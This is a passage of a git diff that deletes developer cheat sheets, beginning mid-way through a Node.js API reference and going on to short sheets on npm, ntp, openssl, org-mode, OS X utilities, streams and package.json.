-//? fs.Stats: objects returned from fs.stat(), fs.lstat() and fs.fstat() and their synchronous counterparts are of this type.
-stats.isFile();
-stats.isDirectory()
-stats.isBlockDevice()
-stats.isCharacterDevice()
-stats.isSymbolicLink() //? (only valid with fs.lstat())
-stats.isFIFO()
-stats.isSocket()
-fs.createReadStream( path, [ options ] ); //? Returns a new ReadStream object.
-fs.createWriteStream( path, [ options ] ); //? Returns a new WriteStream object.
-
-/* *******************************************************************************************
- * PATH
- * http://nodejs.org/api/fs.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? Use require('path') to use this module.
-//? This module contains utilities for handling and transforming file paths.
-//? Almost all these methods perform only string transformations.
-//? The file system is not consulted to check whether paths are valid.
-path.normalize( p ); //? Normalize a string path, taking care of '..' and '.' parts.
-path.join( [ path1 ], [ path2 ], [ ... ] ); //? Join all arguments together and normalize the resulting path.
-path.resolve( [ from... ], to ); //? Resolves 'to' to an absolute path.
-path.relative( from, to ); //? Solve the relative path from 'from' to 'to'.
-path.dirname( p ); //? Return the directory name of a path. Similar to the Unix dirname command.
-path.basename( p, [ ext ] ); //? Return the last portion of a path. Similar to the Unix basename command.
-path.extname( p ); //? Return the extension of the path, from the last '.' to end of string in the last portion of the path.
-path.sep; //? The platform-specific file separator. '\\' or '/'.
-path.delimiter; //? The platform-specific path delimiter, ';' or ':'.
-
-/* *******************************************************************************************
- * HTTP
- * http://nodejs.org/api/http.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? To use the HTTP server and client one must require('http').
-http.STATUS_CODES; //? A collection of all the standard HTTP response status codes, and the short description of each.
-http.request( options, [ callback ] ); //? This function allows one to transparently issue requests.
-http.get( options, [ callback ] ); //? Set the method to GET and calls req.end() automatically.
-server = http.createServer( [ requestListener ] ); //? Returns a new web server object. The requestListener is a function which is automatically added to the 'request' event.
-server.listen( port, [ hostname ], [ backlog ], [ callback ] ); //? Begin accepting connections on the specified port and hostname.
-server.listen( path, [ callback ] ); //? Start a UNIX socket server listening for connections on the given path.
-server.listen( handle, [ callback ] ); //? The handle object can be set to either a server or socket (anything with an underlying _handle member), or a {fd: <n>} object.
-server.close( [ callback ] ); //? Stops the server from accepting new connections.
-server.setTimeout( msecs, callback ); //? Sets the timeout value for sockets, and emits a 'timeout' event on the Server object, passing the socket as an argument, if a timeout occurs.
-server.maxHeadersCount; //? Limits maximum incoming headers count, equal to 1000 by default. If set to 0 - no limit will be applied.
-server.timeout; //? The number of milliseconds of inactivity before a socket is presumed to have timed out.
-server.on( 'request', function ( request, response ) {} ); //? Emitted each time there is a request.
-server.on( 'connection', function ( socket ) {} ); //? When a new TCP stream is established.
-server.on( 'close', function () {} ); //? Emitted when the server closes.
-server.on( 'checkContinue', function ( request, response ) {} ); //? Emitted each time a request with an http Expect: 100-continue is received.
-server.on( 'connect', function ( request, socket, head ) {} ); //? Emitted each time a client requests a http CONNECT method.
-server.on( 'upgrade', function ( request, socket, head ) {} ); //? Emitted each time a client requests a http upgrade.
-server.on( 'clientError', function ( exception, socket ) {} ); //? If a client connection emits an 'error' event - it will forwarded here.
-request.write( chunk, [ encoding ] ); //? Sends a chunk of the body.
-request.end( [ data ], [ encoding ] ); //? Finishes sending the request. If any parts of the body are unsent, it will flush them to the stream.
-request.abort(); //? Aborts a request.
-request.setTimeout( timeout, [ callback ] ); //? Once a socket is assigned to this request and is connected socket.setTimeout() will be called.
-request.setNoDelay( [ noDelay ] ); //? Once a socket is assigned to this request and is connected socket.setNoDelay() will be called.
-request.setSocketKeepAlive( [ enable ], [ initialDelay ] ); //? Once a socket is assigned to this request and is connected socket.setKeepAlive() will be called.
-request.on( 'response', function ( response ) {} ); //? Emitted when a response is received to this request. This event is emitted only once.
-request.on( 'socket', function ( socket ) {} ); //? Emitted after a socket is assigned to this request.
-request.on( 'connect', function ( response, socket, head ) {} ); //? Emitted each time a server responds to a request with a CONNECT method. If this event isn't being listened for, clients receiving a CONNECT method will have their connections closed.
-request.on( 'upgrade', function ( response, socket, head ) {} ); //? Emitted each time a server responds to a request with an upgrade. If this event isn't being listened for, clients receiving an upgrade header will have their connections closed.
-request.on( 'continue', function () {} ); //? Emitted when the server sends a '100 Continue' HTTP response, usually because the request contained 'Expect: 100-continue'. This is an instruction that the client should send the request body.
-response.write( chunk, [ encoding ] ); //? This sends a chunk of the response body. If this merthod is called and response.writeHead() has not been called, it will switch to implicit header mode and flush the implicit headers.
-response.writeContinue(); //? Sends a HTTP/1.1 100 Continue message to the client, indicating that the request body should be sent.
-response.writeHead( statusCode, [ reasonPhrase ], [ headers ] ); //? Sends a response header to the request.
-response.setTimeout( msecs, callback ); //? Sets the Socket's timeout value to msecs. If a callback is provided, then it is added as a listener on the 'timeout' event on the response object.
-response.setHeader( name, value ); //? Sets a single header value for implicit headers. If this header already exists in the to-be-sent headers, its value will be replaced. Use an array of strings here if you need to send multiple headers with the same name.
-response.getHeader( name ); //? Reads out a header that's already been queued but not sent to the client. Note that the name is case insensitive.
-response.removeHeader( name ); //? Removes a header that's queued for implicit sending.
-response.addTrailers( headers ); //? This method adds HTTP trailing headers (a header but at the end of the message) to the response.
-response.end( [ data ], [ encoding ] ); //? This method signals to the server that all of the response headers and body have been sent; that server should consider this message complete. The method, response.end(), MUST be called on each response.
-response.statusCode; //? When using implicit headers (not calling response.writeHead() explicitly), this property controls the status code that will be sent to the client when the headers get flushed.
-response.headersSent; //? Boolean (read-only). True if headers were sent, false otherwise.
-response.sendDate; //? When true, the Date header will be automatically generated and sent in the response if it is not already present in the headers. Defaults to true.
-response.on( 'close', function () {} ); //? Indicates that the underlying connection was terminated before response.end() was called or able to flush.
-response.on( 'finish', function () {} ); //? Emitted when the response has been sent.
-message.httpVersion; //? In case of server request, the HTTP version sent by the client. In the case of client response, the HTTP version of the connected-to server.
-message.headers; //? The request/response headers object.
-message.trailers; //? The request/response trailers object. Only populated after the 'end' event.
-message.method; //? The request method as a string. Read only. Example: 'GET', 'DELETE'.
-message.url; //? Request URL string. This contains only the URL that is present in the actual HTTP request.
-message.statusCode; //? The 3-digit HTTP response status code. E.G. 404.
-message.socket; //? The net.Socket object associated with the connection.
-message.setTimeout( msecs, callback ); //? Calls message.connection.setTimeout(msecs, callback).
-
-/* *******************************************************************************************
- * URL
- * http://nodejs.org/api/url.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? This module has utilities for URL resolution and parsing. Call require('url') to use it.
-url.parse( urlStr, [ parseQueryString ], [ slashesDenoteHost ] ); //? Take a URL string, and return an object.
-url.format( urlObj ); //? Take a parsed URL object, and return a formatted URL string.
-url.resolve( from, to ); //? Take a base URL, and a href URL, and resolve them as a browser would for an anchor tag.
-
-/* *******************************************************************************************
- * QUERY STRING
- * http://nodejs.org/api/querystring.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? This module provides utilities for dealing with query strings. Call require('querystring') to use it.
-querystring.stringify( obj, [ sep ], [ eq ] ); //? Serialize an object to a query string. Optionally override the default separator ('&') and assignment ('=') characters.
-querystring.parse( str, [ sep ], [ eq ], [ options ] ); //? Deserialize a query string to an object. Optionally override the default separator ('&') and assignment ('=') characters.
-
-/* *******************************************************************************************
- * ASSERT
- * http://nodejs.org/api/assert.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? This module is used for writing unit tests for your applications, you can access it with require('assert').
-assert.fail( actual, expected, message, operator ); //? Throws an exception that displays the values for actual and expected separated by the provided operator.
-assert( value, message );
-assert.ok( value, [ message ] ); //? Tests if value is truthy, it is equivalent to assert.equal(true, !!value, message);
-assert.equal( actual, expected, [ message ] ); //? Tests shallow, coercive equality with the equal comparison operator ( == ).
-assert.notEqual( actual, expected, [ message ] ); //? Tests shallow, coercive non-equality with the not equal comparison operator ( != ).
-assert.deepEqual( actual, expected, [ message ] ); //? Tests for deep equality.
-assert.notDeepEqual( actual, expected, [ message ] ); //? Tests for any deep inequality.
-assert.strictEqual( actual, expected, [ message ] ); //? Tests strict equality, as determined by the strict equality operator ( === )
-assert.notStrictEqual( actual, expected, [ message ] ); //? Tests strict non-equality, as determined by the strict not equal operator ( !== )
-assert.throws( block, [ error ], [ message ] ); //? Expects block to throw an error. error can be constructor, RegExp or validation function.
-assert.doesNotThrow( block, [ message ] ); //? Expects block not to throw an error, see assert.throws for details.
-assert.ifError( value ); //? Tests if value is not a false value, throws if it is a true value. Useful when testing the first argument, error in callbacks.
-
-/* *******************************************************************************************
- * OS
- * http://nodejs.org/api/os.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? Provides a few basic operating-system related utility functions.
-//? Use require('os') to access this module.
-os.tmpdir(); //? Returns the operating system's default directory for temp files.
-os.endianness(); //? Returns the endianness of the CPU. Possible values are "BE" or "LE".
-os.hostname(); //? Returns the hostname of the operating system.
-os.type(); //? Returns the operating system name.
-os.platform(); //? Returns the operating system platform.
-os.arch(); //? Returns the operating system CPU architecture.
-os.release(); //? Returns the operating system release.
-os.uptime(); //? Returns the system uptime in seconds.
-os.loadavg(); //? Returns an array containing the 1, 5, and 15 minute load averages.
-os.totalmem(); //? Returns the total amount of system memory in bytes.
-os.freemem(); //? Returns the amount of free system memory in bytes.
-os.cpus(); //? Returns an array of objects containing information about each CPU/core installed: model, speed (in MHz), and times (an object containing the number of milliseconds the CPU/core spent in: user, nice, sys, idle, and irq).
-os.networkInterfaces(); //? Get a list of network interfaces.
-os.EOL; //? A constant defining the appropriate End-of-line marker for the operating system.
-
-/* *******************************************************************************************
- * BUFFER
- * http://nodejs.org/api/buffer.html
-//?---------------------------------------------------------------------------\\
-*/
-
-//? Buffer is used to dealing with binary data
-//? Buffer is similar to an array of integers but corresponds to a raw memory allocation outside the V8 heap
-Buffer.from( size ); //? Allocates a new buffer of size octets.
-Buffer.from( array ); //? Allocates a new buffer using an array of octets.
-Buffer.from( str, [ encoding ] ); //? Allocates a new buffer containing the given str. encoding defaults to 'utf8'.
-Buffer.isEncoding( encoding ); //? Returns true if the encoding is a valid encoding argument, or false otherwise.
-Buffer.isBuffer( obj ); //? Tests if obj is a Buffer
-Buffer.concat( list, [ totalLength ] ); //? Returns a buffer which is the result of concatenating all the buffers in the list together.
-Buffer.byteLength( string, [ encoding ] ); //? Gives the actual byte length of a string.
-buf.write( string, [ offset ], [ length ], [ encoding ] ); //? Writes string to the buffer at offset using the given encoding
-buf.toString( [ encoding ], [ start ], [ end ] ); //? Decodes and returns a string from buffer data encoded with encoding (defaults to 'utf8') beginning at start (defaults to 0) and ending at end (defaults to buffer.length).
-buf.toJSON(); //? Returns a JSON-representation of the Buffer instance, which is identical to the output for JSON Arrays
-buf.copy( targetBuffer, [ targetStart ], [ sourceStart ], [ sourceEnd ] ); //? Does copy between buffers. The source and target regions can be overlapped
-buf.slice( [ start ], [ end ] ); //? Returns a new buffer which references the same memory as the old, but offset and cropped by the start (defaults to 0) and end (defaults to buffer.length) indexes. Negative indexes start from the end of the buffer.
-buf.fill( value, [ offset ], [ end ] ); //? Fills the buffer with the specified value
-buf[ index ]; //? Get and set the octet at index
-buf.length; //? The size of the buffer in bytes, Note that this is not necessarily the size of the contents
-buffer.INSPECT_MAX_BYTES; //? How many bytes will be returned when buffer.inspect() is called. This can be overridden by user modules.
diff --git a/docs/content/cheat-sheets/nodejs-fs.md b/docs/content/cheat-sheets/nodejs-fs.md
deleted file mode 100644
index 59435de7ab..0000000000
--- a/docs/content/cheat-sheets/nodejs-fs.md
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: fs
-category: Node.js
----
-
-### Reading
-
-    fs.readFile('file.txt', function(err, data) { .. });
-    fs.readFile('file.txt', {encoding: 'utf-8'}, function(err, data) { .. });
-
-### Writing
-
-    fs.writeFile('output.txt', function(err) { .. });
-    fs.appendFile('output.txt', function(err) { .. });
-
-### Watch
-
-    fs.watch('dir OR file.txt', { persistent: true }, function(event, file) {
-      event; /* rename | change */
-    });
-
-### Getting info
-
-    fs.exists('file.txt', function(exists /*bool*/) { ... });
-
-    fs.stat('file.txt', function(stats) {
-      stats.isFile();
-      stats.isDirectory();
-      stats.isSymbolicLink();
-    });
-
-### File operations
-
-    fs.rename('old.txt', 'new.txt', function(){});
-    fs.chown('file.txt', uid, gid, function(){});
-    fs.symlink('src', 'dest', function(){});
-    fs.unlink('path', function(){});
-    fs.rmdir('path', function(){});
-
-    fs.readdir('path', function(err, files) { .. }); /* `files` = array of names */
-
-### Path
-
-    fs.realpath('/etc/passwd', function(err, path) { /* "/private/etc/passwd" */ });
-
-### Sync
-
-    data = fs.readFileSync('input.txt');
-    fs.writeFileSync('output.txt', data);
-    fs.appendFileSync('output.txt', data);
-    fs.existsSync('file.txt');
-
-### References
-
--   http://nodejs.org/api/fs.html
diff --git a/docs/content/cheat-sheets/nodejs-stream.md b/docs/content/cheat-sheets/nodejs-stream.md
deleted file mode 100644
index d7bb092b3f..0000000000
--- a/docs/content/cheat-sheets/nodejs-stream.md
+++ /dev/null
@@ -1,150 +0,0 @@
----
-title: Node.js streams
-category: Node.js
-
-weight: -1
----
-
-### Types
-
-| Stream      | Description                        |
-| ----------- | ---------------------------------- |
-| `Readable`  | Data emitter                       |
-| `Writable`  | Data receiver                      |
-| `Transform` | Emitter and receiver               |
-| `Duplex`    | Emitter and receiver (independent) |
-
-See: [Stream](https://nodejs.org/api/stream.html#stream_stream) _(nodejs.org)_
-
-### Streams
-
-```js
-const Readable = require('stream').Readable;
-const Writable = require('stream').Writable;
-const Transform = require('stream').Transform;
-```
-
-### Piping
-
-```js
-clock() // Readable stream
-    .pipe(xformer()) // Transform stream
-    .pipe(renderer()); // Writable stream
-```
-
-### Methods
-
-```js
-stream.push(/*...*/); // Emit a chunk
-stream.emit('error', error); // Raise an error
-stream.push(null); // Close a stream
-```
-
-### Events
-
-```js
-const st = source();
-st.on('data', (data) => {
-    console.log('<-', data);
-});
-st.on('error', (err) => {
-    console.log('!', err.message);
-});
-st.on('close', () => {
-    console.log('** bye');
-});
-st.on('finish', () => {
-    console.log('** bye');
-});
-```
-
-Assuming `source()` is a readable stream.
-
-### Flowing mode
-
-```js
-// Toggle flowing mode
-st.resume();
-st.pause();
-```
-
-```js
-// Automatically turns on flowing mode
-st.on('data' /*...*/);
-```
-
-## Stream types
-
-### Readable
-
----
-
-```js
-function clock() {
-    const stream = new Readable({
-        objectMode: true,
-        read() {}
-    });
-
-    setInterval(() => {
-        stream.push({ time: new Date() });
-    }, 1000);
-
-    return stream;
-}
-
-// Implement read() if you
-// need on-demand reading.
-```
-
-Readable streams are generators of data. Write data using `stream.push()`.
-
-### Transform
-
----
-
-```js
-function xformer() {
-    let count = 0;
-
-    return new Transform({
-        objectMode: true,
-        transform: (data, _, done) => {
-            done(null, { ...data, index: count++ });
-        }
-    });
-}
-```
-
-Pass the updated chunk to `done(null, chunk)`.
-
-### Writable
-
----
-
-```js
-function renderer() {
-    return new Writable({
-        objectMode: true,
-        write: (data, _, done) => {
-            console.log('<-', data);
-            done();
-        }
-    });
-}
-```
-
-### All together now
-
-```js
-clock() // Readable stream
-    .pipe(xformer()) // Transform stream
-    .pipe(renderer()); // Writable stream
-```
-
-## Also see
-
-{: .-one-column}
-
--   <https://nodejs.org/api/stream.html>
--   <https://github.com/substack/stream-handbook>
diff --git a/docs/content/cheat-sheets/nodejs.md b/docs/content/cheat-sheets/nodejs.md
deleted file mode 100644
index 165cbbb385..0000000000
--- a/docs/content/cheat-sheets/nodejs.md
+++ /dev/null
@@ -1,49 +0,0 @@
----
-title: Node.js API
-category: Node.js
----
-
-## Globals
-
-    __filename
-    __dirname
-
-### exec
-
-    var exec = require('child_process').exec,
-
-    var child = exec('cat *.js bad_file | wc -l',
-      function (error, stdout, stderr) {
-        console.log('stdout: ' + stdout);
-        console.log('stderr: ' + stderr);
-        if (error !== null) {
-          console.log('exec error: ' + error);
-        }
-    });
-
-## Snippets
-
-    info = require('../package.json')
-    info.version
-
-    process.stdout.write(util.inspect(objekt, false, Infinity, true) + '\n');
-
-## Spawn - passthru the in/out
-
-    var spawn = require('child_process').spawn;
-    var proc = spawn(bin, argv, { stdio: 'inherit' });
-    proc.on('error', function(err) {
-      if (err.code == "ENOENT") { "does not exist" }
-      if (err.code == "EACCES") { "not executable" }
-    });
-    proc.on('exit', function(code) { ... });
-
-    // also { stdio: ['pipe', 'pipe', process.stdout] }
-    // also { stdio: [process.stdin, process.stderr, process.stdout] }
-
-    proc.stdout.on('data', function (data) {
-    });
-    proc.stderr.on('data', function (data) {
-    });
-
-[all]: http://nodejs.org/api/all.html
diff --git a/docs/content/cheat-sheets/notify-send.md b/docs/content/cheat-sheets/notify-send.md
deleted file mode 100644
index 56f944883a..0000000000
--- a/docs/content/cheat-sheets/notify-send.md
+++ /dev/null
@@ -1,5 +0,0 @@
-# To send a desktop notification via dbus:
-
-notify-send -i 'icon-file/name' -a 'application_name' 'summary' 'body of message'
-
-# The -i and -a flags can be omitted if unneeded.
diff --git a/docs/content/cheat-sheets/nova.md b/docs/content/cheat-sheets/nova.md
deleted file mode 100644
index fbdfba5398..0000000000
--- a/docs/content/cheat-sheets/nova.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# To list VMs on current tenant:
-
-nova list
-
-# To list VMs of all tenants (admin user only):
-
-nova list --all-tenants
-
-# To boot a VM on a specific host:
-
-nova boot --nic net-id=<net_id> \
- --image <image_id> \
- --flavor <flavor> \
- --availability-zone nova:<host_name> <vm_name>
-
-# To stop a server:
-
-nova stop <server>
-
-# To start a server:
-
-nova start <server>
-
-# To attach a network interface to a specific VM:
-
-nova interface-attach --net-id <net_id> <server>
diff --git a/docs/content/cheat-sheets/npm-command-line-cheat-sheet.md b/docs/content/cheat-sheets/npm-command-line-cheat-sheet.md
deleted file mode 100644
index 40aab67d3f..0000000000
--- a/docs/content/cheat-sheets/npm-command-line-cheat-sheet.md
+++ /dev/null
@@ -1,64 +0,0 @@
-# NPM Command Line Cheat Sheet
-
-```
-# NPM CheatSheet.
-# Super easy intall: npm comes with node now.
-# To create your own npm package: https://www.npmjs.org/doc/misc/npm-developers.html
-# More: https://www.npmjs.org/doc/
-
-# 1. NPM Command Lines.
-# Local mode is the default.
-# Use --global or -g on any command to operate in global mode instead.
-
-# As of version 0.3, it is recommended to run npm as root.
-# This allows npm to change the user identifier to the `nobody` user
-# prior to running any package build or test commands.
-
-npm <cmd> -h                                            # quick help on <cmd>
-npm -l                                                  # display full usage info
-npm adduser                                             # add a registry user account
-npm bin                                                 # display npm bin folder
-npm bugs <pkgname>                                      # bugs for a package in a web browser maybe
-npm build <package-folder>                              # build a package (should not be called directly)
-npm cache [add|ls|clean] <tarball|folder>               # manipulates packages cache
-npm config [set|get|delete|list|edit] <key> <value>     # manage the npm configuration files
-npm dedupe [package names...]  --tag                    # reduce duplication
-npm decrecate <name>[@<version>] <message>              # deprecate a version of a package (must be the package owner)
-npm docs [<pkg-name> [<pkg-name> ...]]                  # docs for a package in a web browser maybe
-npm edit <name>[@<version>]                             # edit an installed package (default EDITOR set to "vi")
-npm explore <name>[@<version>] [ -- <cmd>]              # browse an installed package
-npm faq                                                 # commonly asked questions
-npm help-search <some search terms>                     # search npm help documentation (rarely necessary to call directly)
-npm help <topic> <some search terms>                    # get help on npm
-npm init                                                # interactively create a package.json file
-npm install <folder|name@<tag|version>|tarball>         # install a package (optional flags: --save, --save-dev, --save-optional, --save-exact)
-npm link <pkgname>                                      # symlink a package folder
-npm ls <pkg>                                            # list installed packages (as well as their dependencies)
-npm outdated [<name> [<name> ...]]                      # check for outdated packages
-npm owner [ls|add|rm] <pkg-name> <user>                 # manage package owners
-npm pack [<pkg> [<pkg> ...]]                            # create a tarball from a package
-npm prefix                                              # display prefix
-npm prune [<name> [<name ...]] --production             # remove extraneous packages
-npm publish <tarball|folder> [--tag <tag>]              # publish a package
-npm rebuild [<name > [<name> ...]]                      # rebuild a package
-npm repo <pkgname>                                      # open package repository in the browser
-npm restart <name>                                      # start a package
-npm rm <name>                                           # remove a package
-npm root                                                # display npm root
-npm run [<pkg>] [command]                               # run arbitrary package scripts
-npm search [search terms ...] [--long]                  # search for packages
-npm shrinkwrap                                          # lock down dependency versions
-npm star <pkgname> [<pkg>, ...]                         # mark your favorite packages
-npm stars [username]                                    # view packages marked as favorites
-npm start <name>                                        # start a package
-npm stop <name>                                         # stop a package
-npm submodule <pkg>                                     # add a package as a git submodule
-npm tag <name>@<version>                                # tag a published version
-npm test <name>                                         # test a package
-npm unpublish <name>[@<version>]                        # remove a package from the registry
-npm unstar <pkgname> [<pkg>, ...]                       # Unfavorite specified p
-npm update [-g] [<name> [<name> ...]]                   # update a package
-npm version [<newversion> | major | minor | patch]      # bump a package version
-npm view <name>[@<version>] [<field<[.<subfield>] ...]  # view registry info
-npm whoami                                              # display npm username
-```
diff --git a/docs/content/cheat-sheets/ntp.md b/docs/content/cheat-sheets/ntp.md
deleted file mode 100644
index 458c7a39ed..0000000000
--- a/docs/content/cheat-sheets/ntp.md
+++ /dev/null
@@ -1,45 +0,0 @@
-# To verify if ntpd is running:
-
-service ntp status
-
-# To start ntpd if not running:
-
-service ntp start
-
-# To display current hardware clock value:
-
-sudo hwclock -r
-
-# To apply system time to hardware time:
-
-sudo hwclock --systohc
-
-# To apply hardware time to system time:
-
-sudo hwclock --hctosys
-
-# To set hwclock to local time:
-
-sudo hwclock --localtime
-
-# To set hwclock to UTC:
-
-sudo hwclock --utc
-
-# To set hwclock manually:
-
-sudo hwclock --set --date="8/10/15 13:10:05"
-
-# To query surrounding stratum time servers
-
-ntpq -pn
-
-# To config file:
-
-/etc/ntp.conf
-
-# To driftfile:
-
-# location of "drift" of your system clock compared to ntp servers:
-
-/var/lib/ntp/ntp.drift
diff --git a/docs/content/cheat-sheets/numfmt.md b/docs/content/cheat-sheets/numfmt.md
deleted file mode 100644
index 3773b32e09..0000000000
--- a/docs/content/cheat-sheets/numfmt.md
+++ /dev/null
@@ -1,3 +0,0 @@
-# To convert bytes to Human readable format
-
-numfmt --to=iec --suffix=B --padding=7 1048576
diff --git a/docs/content/cheat-sheets/od.md b/docs/content/cheat-sheets/od.md
deleted file mode 100644
index b5b1c16a84..0000000000
--- a/docs/content/cheat-sheets/od.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# To dump a file in octal format:
-
-od <binary-file>
-od -o <binary-file>
-od -t o2 <binary-file>
-
-# To dump a file in hexadecimal format:
-
-od -x <binary-file>
-od -t x2 <binary-file>
-
-# To dump a file in hexadecimal format, with hexadecimal offsets and a space between each byte:
-
-od -A x -t x1 <binary-file>
diff --git a/docs/content/cheat-sheets/openssl.md b/docs/content/cheat-sheets/openssl.md
deleted file mode 100644
index e20f1a08e6..0000000000
--- a/docs/content/cheat-sheets/openssl.md
+++ /dev/null
@@ -1,60 +0,0 @@
-# To create a 2048-bit private key:
-
-openssl genrsa -out server.key 2048
-
-# To create the Certificate Signing Request (CSR):
-
-openssl req -new -key server.key -out server.csr
-
-# To sign a certificate using a private key and CSR:
-
-openssl x509 -req -days 365 -in server.csr -signkey server.key -out server.crt
-
-# (The above commands may be run in sequence to generate a self-signed SSL certificate.)
-
-# To show certificate information for a certificate signing request
-
-openssl req -text -noout -in server.csr
-
-# To show certificate information for generated certificate
-
-openssl x509 -text -noout -in server.crt
-
-# To get the sha256 fingerprint of a certificate
-
-openssl x509 -in server.crt -noout -sha256 -fingerprint
-
-# To view certificate expiration:
-
-echo | openssl s_client -connect <hostname>:443 2> /dev/null | \
-awk '/-----BEGIN/,/END CERTIFICATE-----/' | \
-openssl x509 -noout -enddate
-
-# To generate Diffie-Hellman parameters:
-
-openssl dhparam -outform PEM -out dhparams.pem 2048
-
-# High-quality options for openssl for symmetric (secret key) encryption
-
-This is what knowledgable people consider a good set of options for
-symmetric encryption with openssl to give you a high-quality result.
-Also, always remember that the result is only as good as the password
-you use. You must use a strong password otherwise encryption is meaningless.
-
-openssl enc -e -aes-256-cbc \
- -salt \
- -pbkdf2 \
- -iter 1000000 \
- -md sha512 \
- -base64 \
- -in somefile \
- -out somefile.enc # to encrypt
-
-openssl enc -d -aes-256-cbc \
- -salt \
- -pbkdf2 \
- -iter 1000000 \
- -md sha512 \
- -base64 \
- -in somefile.enc \
- -out somefile # to decrypt
diff --git a/docs/content/cheat-sheets/org-mode.md b/docs/content/cheat-sheets/org-mode.md
deleted file mode 100644
index 6d06584e74..0000000000
--- a/docs/content/cheat-sheets/org-mode.md
+++ /dev/null
@@ -1,46 +0,0 @@
-Begin org-mode ALT-x org-mode
-Save CTRL-x CTRL-s
-Export in other file formats (eg HTML,PDF) CTRL-c CTRL-e
-
-# Outline
-
-Section heading \*
-New headline ALT-return
-Move headline up or down ALT-up_arrow/down_arrow
-Adjust indent depth of headline ALT-left_arrow/right_arrow
-Open/collapse section TAB
-Open/collapse All CTRL-TAB
-
-# To-Do Lists
-
-Mark list item as TODO \*\* TODO
-Cycle through workflow SHIFT-left_arrow/right_arrow
-Show only outstanding TODO items CTRL-c CTRL-v
-
-# Tables
-
-Table column separator Vertical/pipe character
-Reorganize table TAB
-Move column ALT-left_arrow/right_arrow
-Move row ALT-up_arrow/down_arrow
-
-# Styles
-
-_bold_
-/italic/
-_underlined_
-=code=
-~verbatim~
-+strike-through+
-
-# Heading
-
-Header -_- mode: org -_-
-
-# .emacs
-
-To make org-mode automatically wrap lines:
-
-    (add-hook 'org-mode-hook
-              '(lambda ()
-                 (visual-line-mode 1)))
diff --git a/docs/content/cheat-sheets/osx.md b/docs/content/cheat-sheets/osx.md
deleted file mode 100644
index 55387951bb..0000000000
--- a/docs/content/cheat-sheets/osx.md
+++ /dev/null
@@ -1,70 +0,0 @@
----
-title: OS X
-
-category: macOS
----
-
-### Locations of startup items
-
-    ~/Library/LaunchAgents
-    /System/Library/LaunchAgents/
-    /System/Library/LaunchDaemons/
-    /Library/LaunchAgents/
-    /Library/LaunchDaemons/
-
-    __Running `launchctl list` show you what launch scripts are currently loaded.__
-
-### Hide desktop icons
-
-    defaults write com.apple.finder CreateDesktop -bool false
-    killall Finder
-
-### Auto-hide other windows on dock switch
-
-    defaults write com.apple.dock single-app -bool TRUE
-    killall Dock
-
-    defaults delete com.apple.dock single-app
-    killall Dock
-
-### Flush DNS
-
-    killall -HUP mDNSResponder   # 10.8+
-    dscacheutil -flushcache      # 10.7 below
-
-### Disable spotlight indexing
-
-    mdutil -a -i off                    # disable indexing for all volumes
-    mdutil -i off MOUNT_POINT           # disable for specific volume
-    touch FOLDER/.metadata_never_index  # disable for FOLDER
-
-### Turn on/off proxy
-
-    sudo networksetup -setsocksfirewallproxystate Wi-Fi off
-    sudo networksetup -setsocksfirewallproxystate Ethernet off
-    sudo networksetup -setsocksfirewallproxy Wi-Fi 127.0.0.1 9999
-    sudo networksetup -setsocksfirewallproxy Ethernet 127.0.0.1 9999
-    sudo networksetup -setsocksfirewallproxystate Wi-Fi on
-    sudo networksetup -setsocksfirewallproxystate Ethernet on
-
-### System utils
-
--   `networksetup` - Configure network (ip, dns, proxy, etc)
--   `tmutil` - Configure Time Machine (enable/disable, exclude path, delete snapshots, etc)
--   `mdutil` - Manage Spotlight (enable/disable, exclude, etc)
--   `diskutil` - Control disk (format, eject, unmount, etc)
--   `launchctl` - Control running "agents"
-
-### Useful utils
-
--   `open` - open files and directories ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/open.1.html))
--   `textutil` - manipulate text files of various formats ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/textutil.1.html))
--   `pbcopy` / `pbpaste` - provide copying and pasting to the pasteboard ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/pbcopy.1.html))
--   `sips` - scriptable image processing system ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/sips.1.html))
--   `mdfind` - finds files matching a given query ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/mdfind.1.html))
--   `screencapture` - capture images from the screen ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/screencapture.1.html))
--   `defaults` - access the Mac OS X user defaults system ([man](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man1/defaults.1.html))
--   `/usr/libexec/airportd`
--   `scutil`
-
-**INFO: `brew` ([link](https://brew.sh)) is highly recommended utility**
diff --git a/docs/content/cheat-sheets/p4.md b/docs/content/cheat-sheets/p4.md
deleted file mode 100644
index ce55339632..0000000000
--- a/docs/content/cheat-sheets/p4.md
+++ /dev/null
@@ -1,9 +0,0 @@
-tags: [ vcs ]
-
-# To print details related to client and server configuration:
-
-p4 info
-
-# To open a file and add it to depot:
-
-p4 add <filename>
diff --git a/docs/content/cheat-sheets/package-json.md b/docs/content/cheat-sheets/package-json.md
deleted file mode 100644
index f497d9a14c..0000000000
--- a/docs/content/cheat-sheets/package-json.md
+++ /dev/null
@@ -1,97 +0,0 @@
----
-title: package.json
-category: Node.js
-
-prism_languages: [json]
-weight: -3
----
-
-### Basic
-
-```json
-{
-    "name": "expo",
-    "description": "My package",
-    "version": "0.1.0",
-    "license": "MIT",
-    "keywords": ["http", "server"],
-    "author": "Rico Sta. Cruz <rstacruz@users.noreply.github.com>",
-    "engines": {
-        "node": ">=0.8.0"
-    },
-    "main": "index",
-    "bin": {
-        "command": "./bin/command"
-    },
-    "repository": {
-        "type": "git",
-        "url": "https://github.com/rstacruz/___.git"
-    }
-}
-```
-
-{: data-line="2,3,4,5"}
-
-Highlighted lines are required.
-
-### Dependencies
-
-```json
-"dependencies": {
-  "colors":   "*",
-  "flatiron": "0.1.x",
-  "flatiron": "~0.1.0",
-  "plates":   "https://github.com/user/project/tarball/branch",
-  "stuff":    "git://github.com/user/project.git#commit-ish"
-},
-```
-
-```json
